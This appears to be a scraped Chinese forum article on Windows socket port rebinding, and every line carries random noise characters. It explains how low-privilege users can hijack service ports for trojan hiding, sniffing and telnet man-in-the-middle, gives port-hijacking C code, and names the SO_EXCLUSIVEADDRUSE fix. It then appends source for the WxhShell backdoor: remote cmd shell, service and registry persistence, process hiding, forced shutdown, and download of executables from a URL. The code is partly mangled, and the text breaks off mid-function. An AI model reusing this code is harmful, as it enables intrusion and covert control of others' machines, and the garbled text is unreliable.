在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&`Oj<UyJY s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
lQ(I/[qVd (cAWT, saddr.sin_family = AF_INET;
X$Eg(^L a Yz7H@Y2i saddr.sin_addr.s_addr = htonl(INADDR_ANY);
cetHpU, Bu7Ztt* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
]z3!hgTj 9j<qi\SSI 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
.\)`Xj[? mWEaUi)Zz 这意味着什么?意味着可以进行如下的攻击:
w1U2cbCr/ KTLq~Ru 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
3lr9nBR 0#Ivo<V 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
(dvsGYT|. H#/ #yVw 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
V Ioqn$ OeMI 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
2-G6I92d _EHz>DJ9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
)T0%<(J U)v){g3w) 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
M$J{clr oyw*Z_ 9~ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
R;d)I^@ v;6O# ta' #include
dMd2a4 #include
p9X{E%A<: #include
xgp 6lO [ #include
o,NTIh DWORD WINAPI ClientThread(LPVOID lpParam);
xxy
(#j$ int main()
Th.Mn}1%L {
2.p?gRO WORD wVersionRequested;
%>io$ o DWORD ret;
Nh^
lC WSADATA wsaData;
6[x6:{^J BOOL val;
0%(.$c>:f SOCKADDR_IN saddr;
MA`.&MA. SOCKADDR_IN scaddr;
QH5[}zs8 int err;
6lAHB*` SOCKET s;
ZbAg^2 SOCKET sc;
1Zo"Xb int caddsize;
'g5 Gdn HANDLE mt;
?y/LMja DWORD tid;
GbB:K2 wVersionRequested = MAKEWORD( 2, 2 );
:aHLr[%Mz err = WSAStartup( wVersionRequested, &wsaData );
Ss~yy0 if ( err != 0 ) {
t,]E5,1 printf("error!WSAStartup failed!\n");
c0U=Hj@@ return -1;
x=I|O;">< }
<|=^[' vi saddr.sin_family = AF_INET;
%G`GdG}T bXNM.K //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
/^pPT6 .,*68S0k7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
w D}g\{P saddr.sin_port = htons(23);
ExxD
w_VGT if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
`JAM]qB" {
5Tg[-tl printf("error!socket failed!\n");
Q!ReA{ return -1;
7x''V5*j }
oYmLJzCf val = TRUE;
%~rXJrK //SO_REUSEADDR选项就是可以实现端口重绑定的
+:ih`q][b if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
U9t-(`[j? {
(x!Tb2mlk printf("error!setsockopt failed!\n");
p:Hg>Z return -1;
?,z/+/: }
xgq
`l# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
:~wU/dEEiz //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Wi2Tg^ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
We)l_>G 5Z_ 7Sc if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
x^V9;V@6 {
3L^]J}| ret=GetLastError();
>m+Fm= printf("error!bind failed!\n");
t.pn07$ return -1;
8)bqN$*h }
y
Q-{
CJ, listen(s,2);
{'a|$u+ while(1)
QWI)Y:<K/ {
Pr'Ij caddsize = sizeof(scaddr);
]x5+v0 //接受连接请求
czg9tG8 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
KdXqW0nm if(sc!=INVALID_SOCKET)
0b(x@> {
mX5%6{], mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
N4)ZPLV if(mt==NULL)
.]YTS {
a.2Xl}2o5 printf("Thread Creat Failed!\n");
xG WA5[YV break;
)F_nK f"a }
):lH }
i:60|ngK CloseHandle(mt);
\:4SN&I~ }
yJ4ZB/ZQ closesocket(s);
Zo<j"FG WSACleanup();
xmi@
XL@t return 0;
4 '5|YGQj }
C`=YGyj=TL DWORD WINAPI ClientThread(LPVOID lpParam)
weH3\@ {
NXX/JJ+w SOCKET ss = (SOCKET)lpParam;
k~*%Z!V}C SOCKET sc;
<q&4Y+b unsigned char buf[4096];
y96HTQ32 SOCKADDR_IN saddr;
Y94S!TbB long num;
m5v IS DWORD val;
GfV#^qi DWORD ret;
a}Z+"D //如果是隐藏端口应用的话,可以在此处加一些判断
A(*c|Aj9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
[\qclW;L saddr.sin_family = AF_INET;
AsI\#wL) saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
7Ie=(x8): saddr.sin_port = htons(23);
c8T| o=`k6 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
o7s!ti\G {
>7PNl\=gG printf("error!socket failed!\n");
9w~SzpJ% return -1;
)xiu
\rC }
MT7B'hd val = 100;
Ch\__t*v! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
`2hg?(ul {
b;%t*?t ret = GetLastError();
YN+vk}8 < return -1;
3)OQgeKU }
)XHn.>]nc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
e,,O {
Bhv$
ret = GetLastError();
Kk*8 return -1;
\% =\4%: }
x.?5-3|d$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
5XZ!yYB? {
mUh]`/MK$ printf("error!socket connect failed!\n");
/8h=6" closesocket(sc);
a[O6xA% closesocket(ss);
kW g.-$pp return -1;
WD[eoi }
FLqN3D=yQ while(1)
H,!xTy"Wh {
Z .6dL //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
3yZmW$E. //如果是嗅探内容的话,可以再此处进行内容分析和记录
}~XWtWbd- //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
9B: 3Ha= num = recv(ss,buf,4096,0);
`
R6`"hx$ if(num>0)
LwH#|8F send(sc,buf,num,0);
0CrsZt X else if(num==0)
g>@JGzMLP break;
N4!`iS Y num = recv(sc,buf,4096,0);
t;&XIG~ if(num>0)
):D"LC send(ss,buf,num,0);
W lMcEje else if(num==0)
{m.$EoS break;
+2~kHrv }
[. 5m}V closesocket(ss);
~U9K<_U closesocket(sc);
IHl q27O return 0 ;
A =Wg0eYy\ }
QHEtG2 vT'Bs;QR *T|B'80 ==========================================================
0+1wi4wy/ K}VCFV 下边附上一个代码,,WXhSHELL
^mS |ff ly[LF1t ==========================================================
bLgH3[{
l] nt@0+ #include "stdafx.h"
vJkc/7 Y?VbgOM) #include <stdio.h>
lfGyK4: #include <string.h>
2ej7Ql_@c #include <windows.h>
OZ,kz2SF# #include <winsock2.h>
%\As #include <winsvc.h>
i=8iK#2 h #include <urlmon.h>
OG,P"sv I$n=>s #pragma comment (lib, "Ws2_32.lib")
^4y]7p #pragma comment (lib, "urlmon.lib")
^rkKE
dd :QCL9QZ' #define MAX_USER 100 // 最大客户端连接数
AKNx~!%2 #define BUF_SOCK 200 // sock buffer
P:qmg"i@3 #define KEY_BUFF 255 // 输入 buffer
\u3\ TJ Nd_fjB #define REBOOT 0 // 重启
CI|lJ #define SHUTDOWN 1 // 关机
x%P|T3Qy5 T)C@6/ #define DEF_PORT 5000 // 监听端口
BG{f)2F\ [}X|&`'i #define REG_LEN 16 // 注册表键长度
dn6B43w #define SVC_LEN 80 // NT服务名长度
.b:!qUE^ J3Mb]X)_} // 从dll定义API
ZSMed(//b typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
^6 6!f 5^W typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
LHAlXo; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
rCyb3,W typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4 23zX6 i jI/z5 // wxhshell配置信息
gU9{~-9} struct WSCFG {
\?:L>-&h8 int ws_port; // 监听端口
I Mgd2qIC char ws_passstr[REG_LEN]; // 口令
93-Y(Xx)bY int ws_autoins; // 安装标记, 1=yes 0=no
$o6/dEKQ char ws_regname[REG_LEN]; // 注册表键名
su0K#*P&I
char ws_svcname[REG_LEN]; // 服务名
,|f=2t+5X char ws_svcdisp[SVC_LEN]; // 服务显示名
\Y,P char ws_svcdesc[SVC_LEN]; // 服务描述信息
#kQ! GMZH char ws_passmsg[SVC_LEN]; // 密码输入提示信息
n%r>W^2j int ws_downexe; // 下载执行标记, 1=yes 0=no
;apLMMsWC char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
CXUF=IE char ws_filenam[SVC_LEN]; // 下载后保存的文件名
WjBml'^RY :b9#e g };
X&Oo[Z kwi$% // default Wxhshell configuration
:F d1k
Jm struct WSCFG wscfg={DEF_PORT,
'
!huU "xuhuanlingzhe",
Wv>`x?W 1,
gvVy0nJI~ "Wxhshell",
PDh1*bf{u "Wxhshell",
XN'X&J "WxhShell Service",
> cJX'U9 "Wrsky Windows CmdShell Service",
hmd, g>J:< "Please Input Your Password: ",
X"G3lG 1,
+%RXV~ "
http://www.wrsky.com/wxhshell.exe",
mCpoaGV_ "Wxhshell.exe"
q}R" };
;,&1 ph1veD<ZZ // 消息定义模块
0 g(hY: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
cE=v566 char *msg_ws_prompt="\n\r? for help\n\r#>";
sXSZ#@u,WN char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
k4-C*Gx$h char *msg_ws_ext="\n\rExit.";
{z%%(,I char *msg_ws_end="\n\rQuit.";
Uj6R?E{Jt char *msg_ws_boot="\n\rReboot...";
Qh)@-r3 char *msg_ws_poff="\n\rShutdown...";
0>Ecm# char *msg_ws_down="\n\rSave to ";
bIe>j*VPh@ &bnF{~<\ char *msg_ws_err="\n\rErr!";
Qn<J@% char *msg_ws_ok="\n\rOK!";
N$?mula U}7$:hO"dX char ExeFile[MAX_PATH];
CI$F#j int nUser = 0;
nN/v7^^ HANDLE handles[MAX_USER];
%=\h=\wt int OsIsNt;
9=
\bS6w* 8~\Fpz|Og SERVICE_STATUS serviceStatus;
pShSKRg SERVICE_STATUS_HANDLE hServiceStatusHandle;
Rm)vY}v u\&oiwSIP // 函数声明
S1E2E3 int Install(void);
8+v6%,K2 int Uninstall(void);
JB''Ujyi int DownloadFile(char *sURL, SOCKET wsh);
BAg*zYV7 int Boot(int flag);
!);}zW! void HideProc(void);
:a#]"z0 int GetOsVer(void);
G-bG}9vc] int Wxhshell(SOCKET wsl);
dFo9O!YX[f void TalkWithClient(void *cs);
} +i
ZY\t int CmdShell(SOCKET sock);
o(C({]UO/ int StartFromService(void);
Mwp#.du( int StartWxhshell(LPSTR lpCmdLine);
N, ;'oL+ zZki9P
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
qV9` VOID WINAPI NTServiceHandler( DWORD fdwControl );
52wq<[#tK 9!gmS?f // 数据结构和表定义
ZUAWSJ,s SERVICE_TABLE_ENTRY DispatchTable[] =
dUOjPq97 {
+lO
Y
IQ {wscfg.ws_svcname, NTServiceMain},
} 9<aX
Y, {NULL, NULL}
T*-*U/ };
3`IDm5 vlp]!7v // 自我安装
9SC#N5V int Install(void)
V{ra,a* {
m*CIbkDsZ char svExeFile[MAX_PATH];
Ml+.\'r HKEY key;
~9h6"0K! strcpy(svExeFile,ExeFile);
J U}XSb OtY.s\m y // 如果是win9x系统,修改注册表设为自启动
OA4NXl' if(!OsIsNt) {
X[h=UlF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
V1xpJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
"&Q-'L!M'/ RegCloseKey(key);
XOJ/$y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|KplbU0iC RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
onG,N1`+ RegCloseKey(key);
XRJ<1w: return 0;
@hQ+pG@s }
qqS-0U2 }
_
nS';48 }
2=(=Wjk. else {
hk}M' }I;=IYrN // 如果是NT以上系统,安装为系统服务
.fUqsq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!COaPrg if (schSCManager!=0)
isQ{Xt~K {
q<,?:g$k SC_HANDLE schService = CreateService
(^eE8j/K (
EOVHTDkKf schSCManager,
wV W+~DJ wscfg.ws_svcname,
lOI(+74 wscfg.ws_svcdisp,
W%Br%VQJ SERVICE_ALL_ACCESS,
fHlmy[V+M SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
e_\4(4x SERVICE_AUTO_START,
2X]2;W)S; SERVICE_ERROR_NORMAL,
8
E.u3eS svExeFile,
n KDX=73 NULL,
31Zl"-<#- NULL,
Ocx=)WKdW NULL,
?
Yy[8_(tN NULL,
"MZVwl "E# NULL
%mtW-drv> );
jVi''#F?f if (schService!=0)
"%qGcC8 {
I&Yu=v/_ CloseServiceHandle(schService);
vRRi"bo CloseServiceHandle(schSCManager);
} Yjic4? strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
/bfsC&
3 strcat(svExeFile,wscfg.ws_svcname);
Fg5>CppH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
ldI;DoE#U1 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
4q~+K'Z RegCloseKey(key);
m`4Sp#m return 0;
DH)@8)C }
@"'1"$ }
N}>`Xm5' CloseServiceHandle(schSCManager);
*oZBv4Vh }
`Qaw]&O }
5a5I+*
c 8yB return 1;
H.|FEV@ }
3MNo&0M9 2@uo2]o) // 自我卸载
ASR"<] int Uninstall(void)
BT`D|< {
PZeVjL?E HKEY key;
q`"gT;3S I$9t^82j if(!OsIsNt) {
pWw aN4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
x)THeH@ RegDeleteValue(key,wscfg.ws_regname);
6$9n_AS RegCloseKey(key);
`fY~Lv{4d_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
?9OiF-:n RegDeleteValue(key,wscfg.ws_regname);
1i$9x$4~E RegCloseKey(key);
+>44'M^Z|( return 0;
6_^u}me }
x AkM_< }
|XLx6E2F }
~ NKw}6 else {
O292JA 8e[kE>tS._ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
.Rd@,3 if (schSCManager!=0)
TPvS+_<oL{ {
st+X~;PX* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`5=0f}E if (schService!=0)
`:}GE@] {
Ex&f}/F if(DeleteService(schService)!=0) {
)l\BZndf CloseServiceHandle(schService);
x\*`i)su CloseServiceHandle(schSCManager);
tceQn
^|< return 0;
?h<I:[oZ }
8ooj) CloseServiceHandle(schService);
s'tmak-}| }
C-@@`EP CloseServiceHandle(schSCManager);
O5{
>k }
(`<l" @:_* }
%a{cJ6P V\r5 return 1;
zY bSv~) }
])7t!< Hhx<k{B@7 // 从指定url下载文件
D ( <_1 int DownloadFile(char *sURL, SOCKET wsh)
p*-o33Ve {
BYqDC<Fq HRESULT hr;
q/ 6d^& char seps[]= "/";
U*(m'Ea char *token;
B&0-~o3WP char *file;
1YTnOiYS1 char myURL[MAX_PATH];
KNic$:i char myFILE[MAX_PATH];
5Q?7 xTQ c_yf= strcpy(myURL,sURL);
]RML;]^ token=strtok(myURL,seps);
pV=X while(token!=NULL)
Vx~[;*{,C9 {
0N;Pb(%7UU file=token;
i
jg'X#E token=strtok(NULL,seps);
$f7#p4;}( }
v< xe(dC Y@c!\0e$ GetCurrentDirectory(MAX_PATH,myFILE);
3G~ T_J& strcat(myFILE, "\\");
|0vY'A)] strcat(myFILE, file);
Gm}ecW send(wsh,myFILE,strlen(myFILE),0);
!}9k
@=[ send(wsh,"...",3,0);
JcvWE
$ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
G)?VC^Q if(hr==S_OK)
pfe9n[ return 0;
eRWTuIV6 else
R Q X return 1;
xx)egy_ aW$sd) }
$A`D p{e" V44IA[ // 系统电源模块
&y[Od{= int Boot(int flag)
S#/[>Cb {
z:u e]7(. HANDLE hToken;
5%mc| TOKEN_PRIVILEGES tkp;
/[#<@o q~^Jd=cB\ if(OsIsNt) {
@SF*Kvb& OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
nbj &3z, LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
U]riBlg> tkp.PrivilegeCount = 1;
fil'._ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
^w5`YI4< AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
zqh.U@ if(flag==REBOOT) {
Y,RBTH if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_Y4%Fv>@ return 0;
h2#G }
UiqHUrx else {
2>80Qp!xO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
FX`SaY>D return 0;
FaYDa }
I'{-T=R-q }
d/vF^v*o0X else {
NRe{0U}nO if(flag==REBOOT) {
u0o}rA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
fV "gL(7 return 0;
=yR$^VSY }
[|5gw3y else {
Ro2Ab^rQ| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
k=^~\$e return 0;
Y&![2o.Q }
j\LJ{?;jC }
p%ve1>c ;2&ym)` return 1;
_nn\O3TB }
6r]l8*34; i".nnAI: // win9x进程隐藏模块
_aaQ1A`p void HideProc(void)
q{c/TRp7 {
\nzaF4+$ ii)DOq#2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
,UveH` n- if ( hKernel != NULL )
FD1Z}v!5IJ {
dlf nhf pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
xY=%+o.?* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
ES>iM)M FreeLibrary(hKernel);
(fTi1
I! }
W3gBLotdg yGs:3KI return;
,,Ia 4c
}
bCSgdK B/^1uPTZ71 // 获取操作系统版本
N
t-8[J int GetOsVer(void)
A`I ;m0< {
P.t0o~hoK; OSVERSIONINFO winfo;
.S6u{B winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Cvgk67C=$ GetVersionEx(&winfo);
kw$*o
k if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
<uf,@N5m return 1;
M~O$,dof else
xC5`|JW return 0;
<cUaIb;(4 }
713)D4y} |EpL~G_ // 客户端句柄模块
\)/dFo\l int Wxhshell(SOCKET wsl)
;XDGlv% {
9bb5?b/ SOCKET wsh;
|WUm;o4E`U struct sockaddr_in client;
q)F@f / DWORD myID;
?>}&,:U} ,^m;[Dl7 while(nUser<MAX_USER)
2`V[Nb {
6d#:v"^, int nSize=sizeof(client);
J.g4I|{ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
D/<;9hw if(wsh==INVALID_SOCKET) return 1;
+=JJ=F) 0'nY handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
R;3T yn+ if(handles[nUser]==0)
wx*)7Y* closesocket(wsh);
ecqL;_{o else
ZL^
svGy nUser++;
j%TcW!D-_ }
[KT1.5M[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
/2jw]ekQ' W9A
[Z return 0;
mvV5Xal }
LE>b_gQ$
2 k,M%"FLQ // 关闭 socket
QmRE<i void CloseIt(SOCKET wsh)
go[(N6hN {
$ri'tJ+ closesocket(wsh);
=c1t]%P, nUser--;
`GQ'yv ExitThread(0);
Smjg[ }
*5Aq\g,n _6/q. // 客户端请求句柄
?=^M(TA; void TalkWithClient(void *cs)
"<LVA2v; {
"JBTsQDj! 7]&ouT SOCKET wsh=(SOCKET)cs;
%^VQw! char pwd[SVC_LEN];
" +n\0j; char cmd[KEY_BUFF];
dXvp-oi char chr[1];
'V-_3WWxU int i,j;
S`v+rQjW o;\c$|TNU while (nUser < MAX_USER) {
@w]z"UCwV@ %J%ZoptY: if(wscfg.ws_passstr) {
SGUu\yS&s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
V {H/>>k7 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
'<v_YxEn //ZeroMemory(pwd,KEY_BUFF);
jh3XG i=0;
.)Af&+KT while(i<SVC_LEN) {
oPVyLD 8 ta`sNy9 // 设置超时
;s(uaC3 fd_set FdRead;
LG6k
KG struct timeval TimeOut;
{6uh Ub
FD_ZERO(&FdRead);
28rC>*+z FD_SET(wsh,&FdRead);
2-#:Y
TimeOut.tv_sec=8;
,O[Maj/ch TimeOut.tv_usec=0;
fL7u419= int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
v!b
8_0~u6 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
m?$peRn3{ fvUD'sx if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
yk<$XNc pwd
=chr[0]; [q5N 4&q\
if(chr[0]==0xd || chr[0]==0xa) { n$S`NNO{]
pwd=0; |>2IgTh1a
break; lx vRF93a.
} y?1<7>L5~
i++; 'z}Hg
*
} `AO<r
>.]'N:5
// 如果是非法用户,关闭 socket <m|\#Jw_V
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h)746T )
} $^1L|KgXp
^ew<|J2,B
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .;'3Roi
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5v
uB87`
[3#A)#kWm
while(1) { V>2mzc
i47xF7y\
ZeroMemory(cmd,KEY_BUFF); q:9#Vcw
S_B $-H|
// 自动支持客户端 telnet标准 (DW[#2\.
j=0; MGmUgc
while(j<KEY_BUFF) { j$K[QSn
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {_]'EK/w
cmd[j]=chr[0]; <%2A,
Vz"
if(chr[0]==0xa || chr[0]==0xd) { vGT#BS%
cmd[j]=0; 3N]
break; D =Pv:)*]
} c<8RRYs
j++; gDmwJr
} V0Z\e
_I
\9S&j(I
// 下载文件 AV0C9a/td
if(strstr(cmd,"http://")) { \(C_t1
send(wsh,msg_ws_down,strlen(msg_ws_down),0); et6@);F
if(DownloadFile(cmd,wsh)) 2>inyn)S
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5VlF\-
else ~"vRH
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e&=T`
} Pv3 e*I((
else { t$*CyYb{@
F#7A6|
switch(cmd[0]) { ~ponYc.Y
rcjj(
C
// 帮助 ,wk %)^
case '?': { D-\z'gS
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); " G0HsXi
break; X1lL@ `r.5
} I~7eu&QZ
// 安装 <ApzcyC
case 'i': { |", /
if(Install()) K#'{Ko
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mybjcsV4
else wqf^n-Ze
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &V7{J9
break; %!Ak]|[7
} 5TcirVO82
// 卸载 z8n]6FDiE
case 'r': { [ncOtDE
if(Uninstall()) pL)o@-k#%
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {!7 ^w
else 9\W }p\c
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [|\BuUT'
break; Qxh 1I?h
} NhA_dskvo
// 显示 wxhshell 所在路径 [#6Eax,j
case 'p': { &5F@u
IA
char svExeFile[MAX_PATH]; l*C(FPw4
strcpy(svExeFile,"\n\r"); Q[N6# C:(4
strcat(svExeFile,ExeFile); Z'L}x6
send(wsh,svExeFile,strlen(svExeFile),0); Z&R{jQ,
break; wWR9dsB.;
} %rZJ#p[e)=
// 重启 @I^LmB9*
case 'b': { o Z#4<7K
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
Q>}*l|Ci
if(Boot(REBOOT)) -h<Rby
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wx|eO[14
else { +TnRuehtk
closesocket(wsh); .oFkx*Ln
ExitThread(0); p%v+\T2r
} H,H=y},
break; lC ^NhQi
} tK+K lz
// 关机 `kdP)lI
`
case 'd': { k )T;WCia
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ]"<
`^
if(Boot(SHUTDOWN)) ^Pk-<b4}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); j7|r^
else { ?=;dNS@i@
closesocket(wsh); i|5 K4Puu
ExitThread(0); yI 6AafS~
} KXP^F6@l
break; g6kVHxh-
} C=6 Vd
// 获取shell a0oM KGW:
case 's': { k%?fy
CmdShell(wsh);
d!%:Ok
closesocket(wsh); m%-
ExitThread(0); /pvR-Id|6
break; rQ^$)%uP
} }l/!thzC
// 退出 8pfQAzl
case 'x': { Wv]NFHe#
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V3'QA1$
CloseIt(wsh); >900O4
break; RSLMO8
} u:Q_XXT5
// 离开 TlD)E
case 'q': { j"aimjqd3
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _
FcfNF
closesocket(wsh); gu[3L
WSACleanup(); XAV|xlfm
exit(1); 6_a42#
break; ^@'LF
T)
} H=OKm
} M~Yho".
} }\E2Z[
6@TGa%:G
// 提示信息 T&Y?IE}
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FTx&] QN?
} jFBLElE
}
[]D@"Bz
3"HpM\A{A=
return; 0Bx.jx0?
} V&x6ru#
Tti]H9g_
// shell模块句柄 8-Ik .,}
int CmdShell(SOCKET sock) 1/>#L6VAZ
{ __\Tv>Y
STARTUPINFO si; Aen)r@Y:
ZeroMemory(&si,sizeof(si)); ENwDW#U9
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9IgozYj
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^zPa^lo-
PROCESS_INFORMATION ProcessInfo; /79_3;^
char cmdline[]="cmd"; x4jn45]x@
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &u-H/CU%
return 0; -,NiSh}A
} q| p6UL9
B[:-SWd
// 自身启动模式 \hpD
int StartFromService(void) K4]c
{ lg_X|yhL
typedef struct gbOd(ugH
{ .l$'%AG:~
DWORD ExitStatus; 0;,4.hsh
DWORD PebBaseAddress; H"8fnN=xB
